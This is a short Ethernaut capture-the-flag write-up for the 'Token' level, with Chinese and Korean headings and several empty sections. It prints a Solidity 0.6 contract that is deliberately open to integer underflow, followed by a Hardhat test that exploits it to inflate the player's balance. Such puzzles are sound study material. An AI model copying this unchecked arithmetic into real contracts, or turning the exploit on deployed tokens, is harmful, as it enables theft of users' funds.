Ethernaut系列-레벨 5(토큰)

레벨 5(토큰)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

通关要求

要点

解题思路

  it("attacks", async function () {
    //调用合约transfer
    await levelContract.connect(player).transfer(levelOwner.address, 1000);
  });

  it("check", async function () {
    //检查通过条件
    expect(await levelContract.balanceOf(player.address)).to.above(1000);
  });